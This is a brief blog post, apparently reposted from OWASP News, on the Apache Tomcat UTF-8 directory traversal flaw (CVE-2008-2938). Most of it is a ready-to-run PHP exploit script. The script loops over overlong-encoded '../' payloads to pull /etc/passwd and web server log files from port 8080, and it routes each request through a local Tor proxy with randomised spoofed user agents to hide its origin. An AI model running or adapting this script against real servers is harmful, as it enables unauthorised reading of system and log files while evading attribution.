Exploiting Apache Tomcat.
You might have seen the new Apache Tomcat <= 6.0.18 vulnerability found by Simon Ryeo[1]. The vulnerability involved a problem in Tomcat with processing UTF-8 encoded URI's which resulted in a directory traversal and canonicalization issues while mapping the paths. If context.xml or server.xml allows 'allowLinking' and 'URIencoding' as 'UTF-8', directory traversal becomes possible. Curious enough this is pretty much de facto on *NIX systems. Ah the joy of standards! I don't know what is happening at Apache, but Tomcat is quite often vulnerable. It isn't the first time you see.
So let's exploit *cough* test it:
<?php
$url = "http://www.google.com";
$dir = array(
"%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/error_log",
"%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/error_log"
);
function wrap($url){
$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
$agent = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
# proxy
$tor = '127.0.0.1:8118';
$timeout = '300';
$ack = curl_init();
curl_setopt ($ack, CURLOPT_PROXY, $tor);
curl_setopt ($ack, CURLOPT_URL, $url);
curl_setopt ($ack, CURLOPT_HEADER, 1);
curl_setopt ($ack, CURLOPT_USERAGENT, $agent);
curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
$syn = curl_exec($ack);
$info = curl_getinfo($ack);
curl_close($ack);
if($info['http_code'] == '200') {
return $syn;
die();
} else {
return "Fail! :".$info['http_code']."\r\n";
}
}
for($i=0;$i<count($dir);$i++) {
echo wrap($url.":8080/".$dir[$i]);
}
?>
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
source: OWASP News
